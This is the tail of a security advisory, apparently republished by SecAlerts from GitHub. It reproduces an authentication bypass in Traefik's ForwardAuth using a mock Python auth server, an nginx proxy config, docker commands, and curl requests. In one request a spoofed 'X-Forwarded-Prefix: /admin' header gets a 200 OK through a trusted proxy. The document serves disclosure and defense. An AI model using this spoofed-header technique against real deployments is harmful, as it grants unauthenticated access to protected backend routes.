class Handler(BaseHTTPRequestHandler): def doGET(self): if not self.path.startswith("/check"): self.sendresponse(404) self.endheaders() return

prefixes = self.headers.getall("X-Forwarded-Prefix") or [] first = prefixes[0] if prefixes else "" payload = { "path": self.path, "firstprefix": first, "allprefixes": prefixes, "xforwardedfor": self.headers.getall("X-Forwarded-For") or [], } print(json.dumps(payload), flush=True)

if first == "/admin": self.sendresponse(200) self.sendheader("X-Auth-First-Prefix", first) self.sendheader("X-Auth-All-Prefixes", "|".join(prefixes)) self.endheaders() self.wfile.write(b"authorized\n") return

self.sendresponse(403) self.sendheader("Content-Type", "application/json") self.endheaders() self.wfile.write(json.dumps(payload).encode() + b"\n")

HTTPServer(("0.0.0.0", 8000), Handler).serveforever()

4. Create frontend.conf:

nginx server { listen 80; accesslog /dev/stdout;

location / { proxyhttpversion 1.1; proxypass http://traefik:80; proxysetheader Host $httphost; proxysetheader X-Forwarded-For $proxyaddxforwardedfor; } }

5. Start the containers:

bash docker network create --subnet 172.31.79.0/24 traefik-readme-net

docker run -d --name traefik-readme-backend \ --network traefik-readme-net \ --network-alias backend \ traefik/whoami

docker run -d --name traefik-readme-auth \ --network traefik-readme-net \ --network-alias auth \ -v "$PWD/auth.py:/app/auth.py:ro" \ -w /app \ python:3.12-alpine \ python /app/auth.py

docker run -d --name traefik-readme-traefik \ --network traefik-readme-net \ --network-alias traefik \ -p 18081:80 \ -v "$PWD/traefik.toml:/etc/traefik/traefik.toml:ro" \ -v "$PWD/dynamic.toml:/etc/traefik/dynamic.toml:ro" \ traefik:v3.6.12

docker run -d --name traefik-readme-frontend \ --network traefik-readme-net \ -p 18080:80 \ -v "$PWD/frontend.conf:/etc/nginx/conf.d/default.conf:ro" \ nginx:alpine

6. Send three requests:

Direct to Traefik, spoofed header: bash curl -sS -i \ -H 'Host: app.local' \ -H 'X-Forwarded-Prefix: /admin' \ http://127.0.0.1:18081/forbidden/test

Expected result: http HTTP/1.1 403 Forbidden ... {"path": "/check", "firstprefix": "/forbidden", "allprefixes": ["/forbidden"]}

Through trusted proxy, no spoofing: bash curl -sS -i \ -H 'Host: app.local' \ http://127.0.0.1:18080/forbidden/test

Expected result: http HTTP/1.1 403 Forbidden ... {"path": "/check", "firstprefix": "/forbidden", "allprefixes": ["/forbidden"]}

Through trusted proxy, spoofed header: bash curl -sS -i \ -H 'Host: app.local' \ -H 'X-Forwarded-Prefix: /admin' \ http://127.0.0.1:18080/forbidden/test

Observed result: http HTTP/1.1 200 OK ... X-Auth-All-Prefixes: /admin|/forbidden X-Auth-First-Prefix: /admin X-Forwarded-Prefix: /admin X-Forwarded-Prefix: /forbidden

The backend response confirms that the request reached the protected upstream after the auth service accepted the attacker-controlled prefix.

7. Optional log confirmation from the auth service:

bash docker logs traefik-readme-auth

Observed log sequence: json {"path": "/check", "firstprefix": "/forbidden", "allprefixes": ["/forbidden"], ...} {"path": "/check", "firstprefix": "/forbidden", "allprefixes": ["/forbidden"], ...} {"path": "/check", "firstprefix": "/admin", "allprefixes": ["/admin", "/forbidden"], ...}

8. Cleanup:

bash docker rm -f traefik-readme-traefik traefik-readme-backend traefik-readme-auth traefik-readme-frontend docker network rm traefik-readme-net

Impact This is an authentication bypass / trust-boundary bypass.

Affected deployments are those that:

- run Traefik behind a trusted upstream proxy - use ForwardAuth - rely on trustForwardHeader=false to avoid trusting client-supplied forwarded headers - pass X-Forwarded-Prefix to the auth service, which happens by default when authRequestHeaders is empty - make authorization or routing decisions based on X-Forwarded-Prefix, especially when StripPrefix runs before ForwardAuth In those environments, an unauthenticated external attacker can influence the auth service's view of the protected path and gain access to backend routes that should be denied.

</details>

----

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203